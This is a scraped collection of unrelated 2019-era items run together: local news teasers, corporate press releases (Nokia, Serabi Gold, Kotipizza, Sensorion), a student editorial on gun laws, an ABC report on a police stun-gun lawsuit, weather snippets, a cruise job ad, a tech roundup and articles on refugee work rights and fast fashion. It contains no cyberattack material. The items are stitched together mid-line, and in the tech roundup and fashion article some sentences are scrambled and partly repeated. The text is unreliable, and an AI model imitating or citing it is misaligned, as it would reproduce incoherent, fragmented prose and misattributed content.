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Young residents share concerns for lack of vaccine research Editors note: The names of the Burke County residents have been left out in order to protect their confidential health information. A small sample of Burke County residents June 18 disclosed reasons why people decide not to receive the COVID 19 vaccine. Vaccination numbers are low in Burke County with...

Changes coming to Georgias Outdoor Burn Notification System Come July 1, Georgians will no longer be required to notify the Georgia Forestry Commission (GFC) of their intentions to burn leaf piles and yard debris. Code Section 12-6-90 of the Official Code of Georgia Annotated called for a burner to notify the GFC either by phone or online of...

Summer camp adds acting to its agenda The District One Summer Camp is back with a new location and an opportunity for children to take center stage. As director of the District One Summer Camp (KAMP KEYSVILLE), I feel it is necessary to reach out to the community in an effort to help our youth improve as...Press Release

"Zero footprint" integrated RF cell site solution will re-define the cost and complexity of traditional installation and operation

The Nokia solution is based upon CLOUD RAN connected to remote edge cloud locations with independent hardware and RAN software

Nokia AirGile Cloud-native core functions to be deployed, including IP Multimedia Subsystem, Shared Data Layer, Session Border Controller and around 25 cloud-based VNFs

13 February 2019

Espoo, Finland - Nokia announced today it is working with Rakuten to build a new mobile network in Japan. Nokia will provide full turnkey services to plan, manage, deploy and integrate cloud RAN, AirGile cloud-native core network technology and several Nokia software functions.

Headquartered in Tokyo, Japan, the Rakuten Group offers more than 70 services in e-commerce, fintech, digital content and communications to more than 1.2 billion members across the globe. Rakuten will leverage its experience as an IT company and its membership base of more than 100 million users in Japan as it enters the market as a greenfield mobile operator and digital service provider.

Rakuten's distributed cloud network, along with Nokia and Rakuten's work to automate the network build and deployment process, will help reduce network operation costs and enhance operational efficiencies.

Nokia will provide turnkey deployment and integration of the new radio network leveraging a 'zero footprint' site approach with remote radio heads connected to cloud RAN software on the edge cloud, to speed deployment and network scalability. Nokia is working with Rakuten on several underlying core functions to maximize automation, AI and machine learning to reduce the cost of operations to a fraction of legacy networks.

The network will be deployed across Japan - including Tokyo, Osaka and Nagoya - and use Nokia Cloud RAN, AirScale radios (remote radio heads) and the Nokia AirGile cloud-native core, incorporating technologies such as Nokia IP Multimedia Subsystem, Session Border Controller and Telco Application Server for the fast roll-out of services such as Voice over LTE.

Rakuten and Nokia are completely aligned on the Future X network vision and it is being implemented in Rakuten's brand new mobile network operation in Japan. The building of the network is underway and user trials in Tokyo have already begun.

Yoshihisa Yamada, Representative Director and President of Rakuten Mobile Network, Inc. said: "We are delighted to work with Nokia on co-creating and deploying an open virtualized radio access network. Together, we have managed to disaggregate the current RAN platform by separating hardware and software, and implementing the Radio software as a Virtual Network Function running on Rakuten Cloud Platform (RCP)."

John Harrington, head of Nokia Japan, said: "This is a groundbreaking deployment that is at the forefront of cloud native technology and digital transformation in Japan. By combining the latest technology in cloud and automation with Nokia's hardware, software and services, Rakuten will emerge as the first Japanese service provider to use a full cloud-based service model."

Overview of the services and technology used for deployment:

Nokia full turnkey services including network design, planning & optimization; project management of site acquisition, civil work construction and network implementation.

Nokia Cloud RAN including AirScale radios (remote radio heads) and integration into mobile edge cloud

Nokia AirGile Cloud-native core functions, including the Nokia IP Multimedia Subsystem

Nokia Shared Data Layer to optimize VNFs for the cloud and enable more rapid innovation of services and faster revenue growth

Nokia Session Border Controller to secure and control media and signaling streams that cross the edges of the IMS network.

Cloud operations, including CloudBand and FlowOne, leveraging a DevOps based framework for the transformation of operations

Resources:

About Rakuten, Inc.

Rakuten, Inc. (TSE: 4755) is a global leader in internet services that empower individuals, communities, businesses and society. Founded in Tokyo in 1997 as an online marketplace, Rakuten has expanded to offer services in e-commerce, fintech, digital content and communications to more than 1.2 billion members around the world. The Rakuten Group has over 17,000 employees, and operations in 30 countries and regions. For more information visit https://global.rakuten.com/corp/ .

About Nokia

We create the technology to connect the world. We develop and deliver the industry's only end-to-end portfolio of network equipment, software, services and licensing that is available globally. Our customers include communications service providers whose combined networks support 5.7 billion subscriptions, as well as enterprises in the private and public sector that use our network portfolio to increase productivity and enrich lives.

Through our research teams, including the world-renowned Nokia Bell Labs, we are leading the world to adopt end-to-end 5G networks that are faster, more secure and capable of revolutionizing lives, economies and societies. Nokia adheres to the highest ethical business standards as we create technology with social purpose, quality and integrity.

nokia.com

Media Inquiries:

Nokia

Communications

Phone: +358 10 448 4900

E-mail: press.services@nokia.comNote: Special one-year subscription at a reduced price for first-time subscribers or for subscriptions that have been expired for at least one year  those living in Jackson County and the Cherokee Indian Reservation (28719) addresses qualify. Offer good through Friday, Aug. 2, 2019.

We accept Visa, Mastercard and Discover; we do not accept AMEX.The lack of resources in outlying neighbourhoods contributes to the overcrowding of downtown resources, AJOI Executive Director Tania Charron said. The lack of investment in outlying areas leads to the funneling of vulnerable populations towards central areas of downtown. Unfortunately, the many requests for assistance that AJOI has made to the City of Montreal regarding homelessness have gone unanswered.For immediate release

13 February 2019

Serabi Gold plc

(Serabi or the Company)

Operational and Business Update

Serabi Gold plc (AIM: SRB, TSX: SBI), the Brazilian focused gold mining and development company, is pleased to provide an update from its operations and projects in Brazil.

Highlights

January gold production of 3,671 ounces in line with guidance.

Treatment of stockpiled flotation tailings underway through the recently commissioned independent trommel feed system (Scrubber).

Ore Sorter testing completed and now being shipped to Brazil.

Cash position at end of January 2019 of US$12.8 million.

Geological Resource update drilling close to completion at Coringa

A Geological Resource update and Preliminary Economic Assessment Study (PEA) remain on schedule to be published in March and June 2019, respectively.

Serabi will be available at booth #2533 at this years PDAC convention in Toronto, and will also be attending the BMO Global Metals & Mining Conference in Hollywood, Miami.

CEO Mike Hodgson commented: We are delighted to have started the year in much the same way as 2018 ended, with excellent production. Production guidance for 2019 has been set at 40,000-44,000 ounces, so Januarys total gold production of over 3,650 ounces has been a great way to start the year. The step up from the production levels of 2017 and 2018 will be driven by improved efficiencies in both orebodies and the processing of some of the 40,000 tonnes of flotation tails (grading 3 g/t gold) which will supplement the normal run-of-mine production. We have now commissioned the scrubber which was started on 10 January and has worked superbly since. It allows the tails (which have already been milled) to be fed directly to the cyanidation plant, therefore not consuming valuable capacity in the milling section of the plant.

At Coringa, we are close to concluding a drill programme, the results from which will be included in the resource update. As reported at the end of January the results to date have been excellent. We remain on schedule to publish an updated geological resource estimate before the end of the first quarter, and will follow this up with the preparation of a PEA, the results of which are expected to be available before the end of June 2019.

In light of recent events at Brumadinho in Minas Gerais state in Brazil, I would like to give reassurance to our stakeholders regarding the tailings management facility at Palito. Serabis operations are all about quality not quantity, therefore we mine and process almost insignificant volumes of rock relative to industrial mineral, iron ore and bauxite operations such as Brumadinho. New legislation has been introduced following the dam failure at Mariana, also in Minas Gerais, in 2015. This legislation has, however been a rather one size fits all approach, and as a result we do have a highly over-engineered tailings facility and the annual audit of our tailings facilities, undertaken late last year by an accredited Brazilian geotechnical engineering expert, confirmed our tailings management facility to be in good order, and it remains fully licenced and certified.

We do expect further tightening of legislation post Brumadinho, and this week the government, through the National Mining Agency (AMN), have moved to ban all upstream tailings dams. Such a move would not affect the safety and legality of our tailings facility which (i) comprises small ponds, rather than dams and (ii) is not upstream of any nearby population.

A short interview by BRR Media with Mike Hodgson can be accessed using the following link

https://www.brrmedia.co.uk/broadcasts-embed/5c62e8dce6e1d92d38f4d9b5/event/?popup=true

This announcement is inside information for the purposes of Article 7 of Regulation 596/2014.

The person who arranged for the release of this announcement on behalf of the Company was Clive Line, Director.

Enquiries:

Serabi Gold plc Michael Hodgson Tel: +44 (0)20 7246 6830 Chief Executive Mobile: +44 (0)7799 473621 Clive Line Tel: +44 (0)20 7246 6830 Finance Director Mobile: +44 (0)7710 151692 Email: contact@serabigold.com Website: www.serabigold.com Beaumont Cornish Limited

Nominated Adviser and Financial Adviser Roland Cornish Tel: +44 (0)20 7628 3396 Michael Cornish Tel: +44 (0)20 7628 3396 Peel Hunt LLP

UK Broker Ross Allister Tel: +44 (0)20 7418 8900 James Bavister Tel: +44 (0)20 7418 8900

Copies of this announcement are available from the Company's website at www.serabigold.com.

Neither the Toronto Stock Exchange, nor any other securities regulatory authority, has approved or disapproved of the contents of this announcement.

GLOSSARY OF TERMS

The following is a glossary of technical terms:

Au means gold.

assay in economic geology, means to analyse the proportions of metal in a rock or overburden sample; to test an ore or mineral for composition, purity, weight or other properties of commercial interest.

development - excavations used to establish access to the mineralised rock and other workings

DNPM is the Departamento Nacional de Producao Mineral.

grade is the concentration of mineral within the host rock typically quoted as grammes per tonne (g/t), parts per million (ppm) or parts per billion (ppb).

g/t means grams per tonne.

granodiorite is an igneous intrusive rock similar to granite.

igneous is a rock that has solidified from molten material or magma.

Intrusive is a body of igneous rock that invades older rocks.

on-lode development - Development that is undertaken in and following the direction of the Vein

mRL  depth in metres measured relative to a fixed point  in the case of Palito and Sao Chico this is sea-level. The mine entrance at Palito is at 250mRL.

saprolite is a weathered or decomposed clayrich rock.

scrubber  a machine for cleaning ore and removing impurities such as clays, coatings or other deleterious materials.

stoping blocks  a discrete area of mineralised rock established for planning and scheduling purposes that will be mined using one of the various stoping methods.

vein is a generic term to describe an occurrence of mineralised rock within an area of non-mineralised rock.

Qualified Persons Statement

The scientific and technical information contained within this announcement has been reviewed and approved by Michael Hodgson, a Director of the Company. Mr Hodgson is an Economic Geologist by training with over 26 years' experience in the mining industry. He holds a BSc (Hons) Geology, University of London, a MSc Mining Geology, University of Leicester and is a Fellow of the Institute of Materials, Minerals and Mining and a Chartered Engineer of the Engineering Council of UK, recognising him as both a Qualified Person for the purposes of Canadian National Instrument 43-101 and by the AIM Guidance Note on Mining and Oil & Gas Companies dated June 2009.

Forward Looking Statements

Certain statements in this announcement are, or may be deemed to be, forward looking statements. Forward looking statements are identied by their use of terms and phrases such as believe, could, should envisage, estimate, intend, may, plan, will or the negative of those, variations or comparable expressions, including references to assumptions. These forward looking statements are not based on historical facts but rather on the Directors current expectations and assumptions regarding the Companys future growth, results of operations, performance, future capital and other expenditures (including the amount, nature and sources of funding thereof), competitive advantages, business prospects and opportunities. Such forward looking statements reect the Directors current beliefs and assumptions and are based on information currently available to the Directors. A number of factors could cause actual results to differ materially from the results discussed in the forward looking statements including risks associated with vulnerability to general economic and business conditions, competition, environmental and other regulatory changes, actions by governmental authorities, the availability of capital markets, reliance on key personnel, uninsured and underinsured losses and other factors, many of which are beyond the control of the Company. Although any forward looking statements contained in this announcement are based upon what the Directors believe to be reasonable assumptions, the Company cannot assure investors that actual results will be consistent with such forward looking statements.

ENDS

AttachmentWhether its stricter gun accessibility or mental health screenings, laws from the state and federal levels must be enacted to save lives from the increasingly frequent mass shootings in the United States.

One year ago tomorrow, a gunman shot and killed 17 at Marjory Stoneman Douglas High School in Parkland, Florida. Since then, state legislatures have passed 69 laws that focus on gun violence prevention.

At a Glance THE ISSUE: One year after the Parkland tragedy, mass shootings are still commonplace in America. WE THINK: Laws on the state and national levels that focus on variety of issues ROOT CAUSES? can help prevent gun violence. TAKE ACTION: During this legislative session, look up current safety laws. If you are not satisfied, contact your state and national representatives by demanding more be done.

An additional 347 mass shootings have also been committed since then, at the time of publication.

While other states have enacted laws that aim to prevent mass shootings, Texas hasnt passed any major legislation on the issue. Yet in his State of the State address last week, Texas Gov. Greg Abbott called for mental health screenings for students.

These services, Abbott said, would help remove students who may be dangerous to the school body.

Mental health issues are not just confined to our schools, Abbott said. They touch our entire society.

Other states have pushed for stricter laws. Florida expanded background checks with small but growing results.

After the hundreds of shootings following Parkland, it is apparent that the laws we have now are simply not enough. More legislation on background checks and mental health is a proactive step. If you are not satisfied with the current state of laws from either side of the gun debate, call your legislators and let them know the current laws are not sufficient.

Limited state laws can only do so much.

But it doesnt have to be like this. If we all take action through government or assembly, changes are possible. Its much more effective than thoughts and prayers.

The Shorthorn Editorial Board is made up of opinion editor Jacob Reyes; Editor-in-Chief Reese Oxner; associate news editor Amanda Padilla; Carmina Tiscareno, life and entertainment editor; social media editor Narda Perez; Shay Cohen, copy editor and multimedia journalist; and Zaria Turner, life and entertainment reporter.

Padilla and Turner were not present for this editorial meeting. Sports editor Chris Amaya and sports reporter R.J. Coyle filled in.

@utashorthorn

opinion-editor.shorthorn@uta.eduTHE SHORTHORN

Is seeking work study student assistants for our reception desk for summer and fall.Prompt, cheerful, students with professional attitudes are encouraged to apply to answer office phones and greet guests from behind a plexiglass COVID barrier.Preference is given to students available to work some mornings. This in-office job offers flexible hours and plenty of time to study.Apply through Handshake for job #4723423 or call 817-272-3188 for more information.Roanoke, AL (36274)

Today

Variable clouds with scattered showers and thunderstorms, mainly during the afternoon hours. High around 80F. Winds ESE at 5 to 10 mph. Chance of rain 40%..

Tonight

Some clouds. Low 64F. Winds light and variable.English Finnish

Kotipizza Group Oyj

Stock Exchange Release 13 February 2019 at 9.00am (EET)

RESOLUTIONS OF KOTIPIZZA GROUPS EXTRAORDINARY GENERAL MEETING OF SHAREHOLDERS AND BOARD OF DIRECTORS CONSTITUTIVE MEETING

The Extraordinary General Meeting of Shareholders of Kotipizza Group Oyj, held on 12 February 2019, and the subsequent Constitutive Meeting of the Board of Directors, passed the following resolutions.

RESOLUTIONS OF EXTRAORDINARY GENERAL MEETING

Remuneration of Members of Board of Directors

It was resolved that all members are paid EUR 25,000 annually. However, no remuneration shall be paid to the members of the Board of Directors who are employed by Orkla ASA or its group companies. Separate meeting remuneration shall not be paid for meetings of the Board of Directors nor for committee meetings. All members of the Board of Directors shall be compensated for travel and other expenses directly related to their Board work.

Number of Members of Board of Directors

It was resolved that the number of members of the Board of Directors is six.

Composition of Board of Directors

It was resolved that the following persons are elected as members of the Board of Directors for a term of office that lasts until the end of the next Annual General Meeting: Rabbe Wikstrom, Aaron Moore-Saxton, Kalle Ruuskanen, Johanna Paavola, Terje Andersen and Viktor Soderberg. Rabbe Wikstrom was elected as Chairman of the Board of Directors.

RESOLUTIONS OF CONSTITUTIVE MEETING OF BOARD OF DIRECTORS

Committees of Board of Directors

It was resolved that the Audit and Remuneration Committees are discontinued.

Financial Reporting

It was resolved that the company will, in the future, publish only a half-year report and financial statements bulletin.

MINUTES

The minutes of the Extraordinary General Meeting of Shareholders will be available on the companys website at kotipizzagroup.com/investors no later than 26 February 2019.

Kotipizza Group Oyj

Tommi Tervanen, CEO

For more information:

Tommi Tervanen, CEO

tel. +358 207 716 743

Timo Pirskanen, CFO and Deputy to the CEO

tel. +358 207 716 747

Kotipizza Group in brief

Kotipizza is a Finnish pizza chain founded in 1987. At the end of financial year 2017, the number of restaurants stood at 266. In the financial year 2017, the total sales of Kotipizza restaurants amounted to EUR 106.3 million. The Kotipizza chain and Kotipizza Oyj operating the chain are part of the Kotipizza Group, alongside the supply and logistics company Helsinki Foodstock Oy, Chalupa Oy that operates the Mexican-style restaurant chain Chalupa, The Social Burger Joint Oy that operates the Social Burgerjoint restaurant chain, as well as the No Pizza restaurant concept, aimed for international markets, that opened its first restaurant in June 2018.

In the financial year 2017, Helsinki Foodstock had net sales of EUR 64.2 million and the total sales of Chalupa restaurants were EUR 1.86 million. In the same period, the Kotipizza Group had net sales of EUR 79.9 million with a comparable EBITDA of EUR 8.52 million.

AttachmentMONTPELLIER, France, Feb. 13, 2019 (GLOBE NEWSWIRE) -- Sensorion (FR0012596468  ALSEN / PEA-PME eligible), a biotech company specializing in the treatment of inner ear diseases, today announced new data presented on three posters at the Association for Research in Otolaryngologys (ARO) 42nd Annual MidWinter Meeting in Baltimore, Maryland.



Lasting SENS-401 Protection of Cochlear Hair Cells in Organ of Corti Explant Cultures following Gentamicin Ototoxic Insult In Vitro

These preliminary results are consistent with a mechanism of action able to reduce hair cell death through both the extrinsic and intrinsic apoptotic pathways. Further experiments will determine the extent of functional otoprotection against aminoglycoside ototoxicity by oral administration of SENS-401 in vivo.



Comparison of SENS-401 Inner Ear Tissue and Perilymph Exposure after Oral Administration in Rat, Guinea Pig and Cat

Although these data demonstrate some species differences, high nanomolar SENS-401 concentrations were achieved in both perilymph and inner ear tissue after oral administration in all three species. This demonstrates that local target exposure is not specific to a single species and thus otoprotectant efficacy may also be generalized.

Wireless Inertial Measurement of Activity and Head Kinematics in a Rat Model of Acute Unilateral Vestibular Loss Reveal Persistent Dynamic Vestibular Deficit Symptoms

Contrary to other approaches, in quantitative posture-locomotor evaluation such as video monitoring, the inertial sensor output is immediately quantitative, does not require large amounts of digital storage space and is easily treatable using mathematical transformations in broadly available software packages such as MatLab or R.

The described persistent changes in spontaneous activity level and head kinematics demonstrate the ability of wireless inertial measurements in freely moving animal models to deliver translationally valid, clinically relevant outcome measures for evaluation of long-term effects of acute phase vertigo interventions as well as pharmaceutical strategies for enhancing central compensation.

About SENS-401

SENS-401, Arazasetron, is a drug candidate that aims to protect and preserve inner ear tissue from damage that can cause progressive or sequelar hearing impairments. A small molecule that can be taken orally or via an injection, SENS-401 has received Orphan Drug Designation in Europe for the Press release treatment of sudden sensorineural hearing loss, and Orphan Drug Designation from the US FDA for the prevention of platinum-induced ototoxicity in pediatric population.

About Sensorion

Sensorion is a pioneering clinical-stage biopharmaceutical company, which specializes in the development of novel therapies to restore, treat and prevent inner ear diseases such as hearing loss, vertigo and tinnitus. Our clinical-stage portfolio includes two phase 2 products: Seliforant (SENS-111) under investigation for acute unilateral vestibulopathy and Arazasetron (SENS-401) for sudden sensorineural hearing loss (SSNHL). We have built a unique R&D technology platform to expand our understanding of the pathophysiology and etiology of inner ear related diseases enabling us to select the best targets and modalities for drug candidates. We also identify biomarkers to improve diagnosis and treatment of these underserved illnesses.



In its drive to continue to deliver additional groundbreaking therapeutic solutions for inner ear patients, Sensorion entered into exclusive negotiations, in November 2018, with Pasteur Institute for hearing loss gene therapy programs including among others the Usher Syndrome Type1 and Otoferlin-deficiency.

We are uniquely placed through our platforms and pipeline of potential therapeutics to make a lasting positive impact on hundreds of thousands of people with inner ear related disorders; a significant global unmet need in medicine today.

www.sensorion-pharma.com

Contacts

Sensorion

Nawal Ouzren

CEO

contact@sensorion-pharma.com

Tel : +334 67 20 77 30 Investor Relations

LifeSci Advisors LLC

Hans Herklots  Managing Director

hherklots@lifesciadvisors.com

Tel. : +41 79 598 7149 Label : SENSORION

ISIN : FR0012596468

Mnemonic : ALSEN



Disclaimer

This press release contains certain forward-looking statements concerning Sensorion and its business. Such forward-looking statements are based on assumptions that Sensorion considers to be reasonable. However, there can be no assurance that such forward-looking statements will be verified, which statements are subject to numerous risks, including the risks set forth in the Document de reference registration document filed with the Autorite des marches financiers (AMF- French Financial Market Authority) on September 6, 2017 under nR.17-062 and to the development of economic conditions, financial markets and the markets in which Sensorion operates. The forward-looking statements contained in this press release are also subject to risks not yet known to Sensorion or not currently considered material by Sensorion. The occurrence of all or part of such risks could cause actual results, financial conditions, performance or achievements of Sensorion to be materially different from such forward-looking statements.

This press release and the information that it contains do not constitute an offer to sell or subscribe for, or a solicitation of an offer to purchase or subscribe for, Sensorion shares in any country. The communication of this press release in certain countries may constitute a violation of local laws and regulations. Any recipient of this press release must inform oneself of any such local restrictions and comply therewith.welcomia/iStock(NEW YORK) -- The family of a man who was shot 11 times with a stun gun, allegedly including on his testicles, is suing the city of Glendale, Arizona, and the three officers they say were involved in the incident.



Johnny Wheatcroft had been sitting in the passenger seat of a parked car with his family and one friend in a Motel 6 parking lot when police officers approached the vehicle on July 26, 2017, according to the civil complaint. They had planned to reserve a room for family time, the complaint said.



Police, however, said in a statement from the city of Glendale that they had observed the vehicle Wheatcroft was in commit a traffic violation and that after speaking with the driver, Shawn Blackburn, they discovered that Blackburn did not have a license on him.



In police bodycam footage released by the City of Glendale, tensions escalated as the officers allege that Wheatcroft appears to shove something between the seat and the center console.



"I dont want you stuffing anything down in between the seat like youre doing," says Officer Matt Schneider, who unholsters his stun gun and points it at Wheatcroft's neck.



The statement said that Officer Schneider and his partner Mark Lindsey attempted to remove Wheatcroft from the vehicle "for the safety of themselves and those around them" and so that they could "maintain a safe eye on him for the duration of the traffic stop."



However, within seconds, the entire scene unfolds into chaos: Wheatcroft, while tangled in his seat belt, is stunned repeatedly. His wife, Anya Chapman, allegedly hits another police officer in the head with a bag full of bottled drinks, according to the city statement. Wheatcroft's children can be heard in the video screaming and crying from the back seat, asking their father if he is okay.



Officer Schneider continues trying to extract Wheatcroft from the front seat but he remains tangled in his seatbelt. Finally, Wheatcroft's son crawls into the front seat and releases his father, who is dragged away from the car. Schneider, meanwhile, tells the son to get out and stand in front of the car. The boy, visibly afraid, ignores the officer and starts crying hysterically in the front passenger seat instead, the video shows.



As more officers arrive onto the scene, one arrests Chapman while another tends to their son, removing him from the car, the video shows.



"Please don't take my mommy," the boy could be heard screaming in the video.



"Wheatcroft was handcuffed on the ground Schneider [then] pulled down [Wheatcroft's] shorts and tased his testicles and perineum," according to the complaint.



"Keep fighting and you're going to get it again," Schneider can be heard saying in the bodycam footage.



The footage continues to show Wheatcroft being lifted off the ground. As officers do this, Wheatcroft says that he can't breathe and that he has chest pains, to which Schneider can be heard saying, "Well, you shouldn't have been stupid then."



Wheatcroft is then seen on the bodycam footage being led off to a police car and placed in the back seat.



Following the incident, Wheatcroft was charged with aggravated assault. He "was then wrongfully detained in the Maricopa County jail for approximately two months," according to a statement from Wheatcrofts lawyers.



Wheatcroft's case was ultimately dismissed after the Maricopa County Attorneys Office declined to press charges.



"Through the process of reviewing evidence in the case involving Mr. Wheatcroft prosecutors reviewed the video and determined there was no likelihood of conviction due to the totality of the events leading to the arrest," according to a Maricopa County Attorneys Office statement given to ABC News.



"At the same time, prosecutors looked at the video and, due to the totality of the events, determined at that time the actions of the officer also did not meet the charging standard of  reasonable likelihood of conviction," continued the statement.



The Glendale Police Department also conducted a review of the officers' actions and "discipline [was] implemented regarding certain tactics used by one officer," according to a statement by the City of Glendale.

Wheatcroft is currenly serving a five-year sentence for an unrelated burglary in the third degree. He had previously been incarcerated multiple times for drug paraphernalia, theft and burglary.





Copyright  2019, ABC Radio. All rights reserved.Elizabethtown, KY (42701)

Today

Sunny to partly cloudy. High 86F. Winds S at 10 to 15 mph..

Tonight

Partly cloudy this evening with more clouds for overnight. Low 69F. Winds S at 5 to 10 mph.With the development of new technologies in the area of AI, many companies are jumping into the field with both eyes wide open. It is very possible that artificial intelligent androids will work alongside their human companions in the future. They will not only work in the same office or building but also independently in their own home. Artificial intelligence has opened up many doors in the past and looks to continue that pace in the future. There are several reasons as to why companies such as Google, Microsoft, Amazon, Cisco, IBM and others are all jumping into the poolInternational cruise giant Royal Caribbean International is searching for its first-ever Shore Explorer apprentice. The apprentice will have the unique opportunity to experience the best the world has to offer all while being paid the

The dream job will see the successful candidate experience a range of once-in-a-lifetime experiences including a visit to a glacier in Alaska, a tour of Osaka in Japan, white water rafting in the Norwegian Fjords, and a ride on the worlds longest urban zip wire in Dubai.

Image courtesy of Royal Caribbean.

The only daily task will be to capture the experiences on Instagram, Instagram stories and IGTV.

The lucky apprentice will also be

one of the first to step foot on Royal Caribbeans new and exclusive private island in the Caribbean, Perfect Day at CocoCay , which is

set to open to the public in May 2019.

The apprentice's experiences will influence Royal Caribbean's excursion programme for the next season and beyond.

Image courtesy of Royal Caribbean.

A Royal Caribbean spokesperson says: Were looking for an adrenaline junkie who is not only hungry for adventure

but also has a unique ability to capture a moment and tell a story in a simple social media post.

Applicants must be 21 years old or over, hold a valid passport and be able to travel this year.

The successful applicant will receive 2,000 per week (for three weeks) paid upon the completion of their trip, equivalent to an annual salary of 104,000.

Apply to be

Royal Caribbeans Shore Explorer by sharing your favourite travel experience in a picture or video on Instagram

Instagram stories or IGTV, tagging #ShoreExplorer and @RoyalCaribbeanUK.Last week was an exciting week in tech, as we explored the VR sequel to Groundhog Day, software that will help people learn sign language themselves, the potential to have unlimited battery life on your phone, and giving people who can not speak a voice.



Gaming

A VR game will be released later this year as a sequel to the film Groundhog Day. Sony Pictures Virtual Reality, MWM Immersive and Tequila Works have entitled it Groundhog Day: Like Father Like Son. The protagonist, Phil Connors Junior, will have to repeat the day again and again " until he learns the true value of friends and family ". It will be available on PlayStation VR, Oculus and Vive.

Image Credit: bruce mars on Pexels

Artificial Intelligence

PhD student at the University of Surrey, is working with colleagues to develop software to help people teach themselves sign languages Stephanie Stoll, astudent at the University of Surrey, is working with colleagues to develop software to help people. Users watch a video of the sign language movement. Then, their movements in response are recorded and analysed to give feedback. The software teaches Swiss-German sign language, with the hopes to expand into other languages in the future.

Image Credit: Seanbatty on Pixabay

Mobile phones

and offices across the city. People can borrow a portable charger, take it away and return it to any ChargedUp Station when they have finished using it. An app will allow users to pay for the service. ChargedUp , a start-up in London, has set up around 250 charging stations at bars, restaurants, cafesoffices across the city. People can borrow a portable charger, take it away and return it to any ChargedUp Station when they have finished using it. An app will allow users to pay for the service.

The Future of Mind-reading

constructed understandable speech Researchers from Columbia University, New York haveusing computer processed brain activity. Five epilepsy patients had an electrode placed on their brain to listen to the electrical activity as the individuals listened to sets of word sequences. Artificial Intelligence then produced audio, with a voice relaying the numbers zero to nine. In the future, it is hoped that this technology could give people who cannot speak a voice.

Image Credit: Pixabay

You are now up to date with all things technology based - come back next week for the latest roundup and see more tech here.Since Ben and Jerrys was founded almost 40 years ago, it has always strived towards bringing social justice and giving back to the community - working hard to make its actions both socially and environmentally friendly.

Waiting isn't Working Recently, Ben and Jerrys have teamed up with Refugee Action for its campaign , pushing for a change in government policy on a law that prevents asylum seekers from working in the UK whilst their application is processed.

I spoke to their Social Mission Manager, Rebecca, to find out more about why this campaign means so much to the company.

I asked Rebecca how Refugee Action UK and Ben and Jerry's came together: "Weve been working in this space for a few years," she says. "Refugee Action was one of the groups I've been speaking to... They came to us and said we've got this idea for a campaign coalition, we want to get loads of companies involved to change the government's mind."

Has the company received any negative responses to their political campaign?

It doesnt matter what campaign we run," Rebecca says, "we do get people, usually on social media channels, saying we dont want politics in our ice cream.

But were never not going to do it because we get criticisms. We do it because it's the right thing to do. We want to introduce people to these issues in an accessible way. There are things that we can do- there are policies being discussed right now whose decisions we can influence.

So why is this policy in place?

Surprisingly, the UK is actually the only European country that implements this policy. All the other countries give asylum seekers the right to work.

Rebecca explains that it used to be the case in the UK that asylum seekers could seek work after six months. Then in 2002 that policy changed because people were being processed much quicker than that time mark.

So, the government got rid of the policy and this made sense at the time. However, as weve gone on, the waiting time has just got longer and longer. In the past, the government has said that the reason they have kept this policy in place is because they don't want to create a pull-factor for people to come to the UK. Rebecca told me that the government has admitted this is "nonsense", saying, "a lot of the time when people flee their country they don't know where they're going to end up."

The government is now showing signs of listening. All major parties now have pledges to take on this change as part of their legislation. The conservatives themselves have not actually done it yet, but have said that they are willing to be persuaded.





Image credit: Ben & Jerry's

How are families expected to support themselves through this time?



Rebecca explains that they are given a grant of 5.39 a day.

"This really isn't much. It really comes down to do I get a bus to see my immigration lawyer or do I feed my children? People are very often pushed into poverty in this way."

Rebecca, who reveals that the campaign has a target of 50,000 signatures and is over halfway there, adds: "The reason that were doing this now is because there is going to have to be a new immigration bill before March, and that's where we can get the policy change."

Ben and Jerry's ran a tour in November around the UK, where "we had an ice cream truck visiting and talking mainly to student unions, high street stops, talking to people about the campaign and giving out free ice cream - getting them to sign petition."

The event really brought the campaign into the spotlight, as many people were not aware of the law before now. The tour also brought attention to the new immigration bill due to be developed in March, and Refugee Action is hoping to produce a policy change as a result.

Image credit: Pixabay

I spoke to a woman who experienced this system when she came to the UK in 2012.

Now 37, Laura's case took three years to process, meaning that she could not work for this entire period. She says that "To find a meaning, something to look forward to" she volunteered at charities and local organisations. Laura wanted to work, to support herself - and yet the law disallowed this.

"(It's) awful that the government makes people wait and pays for their bills. Working isn't just about money, it's about dignity. People shouldn't be put in a position where they cannot work.

"The money that the government is spending on this housing they could be spending that money on the NHS, or the disabled. Not those who want to work."

Click here to sign the petition.

Find out more about the Waiting isn't Working campaign here.I had never really considered the link between the fashion industry and the environment until I watched Stacey Dooleys Fashions Dirty Secrets

Most of us are aware of the disturbing human cost of the fashion industry  notably the fast fashion industry  in terms of sweatshops and child labour, for example. Yet, when it comes down to the environmental cost, many of us remain clueless.

second largest polluter worldwide, To the uninformed, it may come as a surprise that the fashion industry is theafter the oil industry.

So, what do we mean by fast fashion?

Fast fashion refers to how clothing stores produce new clothing lines on a regular basis  often weekly  rather than on a traditional, seasonal basis. Because of this, people are buying far more clothes than needed, at relatively cheap prices, in order to keep up with trends. Its a worldwide addiction.

Image Credit: rawpixel.com on pexels

BBC Lucy Seigle, a journalist specialising in environmental issues, confirmed this to the, adding, its a production system that brings us clothes at intense volume.

Globally, were producing over 100 billion new garments from new fibres every single year, and the planet cannot sustain that.

pressure to reduce cost and the time it takes to get a product from design to shop floor. Its not only the sheer volume of clothes being produced that the planet cannot withstand. It suffers from the higher likelihood of environmentally-friendly options being ignored, with corners being cut, due to the

So, what is the environmental cost of fast fashion exactly?

Heavily Polluted Waters

One of the major environmental issues surrounding the cheap garment industry is water pollution, as it is common practice for textile factories to discard untreated toxic wastewater directly into rivers.

lead, mercury, and arseni This wastewater contains an abundance of toxic substances such asc, which is detrimental to the flora and fauna living in and around the rivers, as well as local people in certain countries who rely on river water for bathing, clothes washing, drinking water and cooking water.

Would you want to be consuming food cooked in the same substance found in car batteries?

Jakarta Globe producers "only 380 of them [are] equipped with wastewater treatment plants, as required by law." The Citarum River in Indonesia is one of the most heavily polluted rivers in the world, mostly due to the 440 factories established along its banks. According to, of the 440 registered textile"only 380 of them [are] equipped with wastewater treatment plants, as required by law."

In her documentary, Stacey Dooley visited the river herself and was shown the factories neglect of eco-friendly wastewater management. The companies lack of care was no secret; you could see them directly dumping industrial waste into the waterways.

Citarum River Indonesia/ Image Credit: Wikipedia from MNN Galleries

While this catastrophe may seem a world away from the UK, the fact that many of these factories are linked to popular UK high street stores might come as a shock.

Microfibres in our oceans

Inevitably, the more clothes that we own, the more clothes we wash.

around 1,900 individual microfibres are released into the wate The issue here is that with every synthetic garment that we wash (for example, a polyester or nylon top), 'r, making their way into our oceans'.

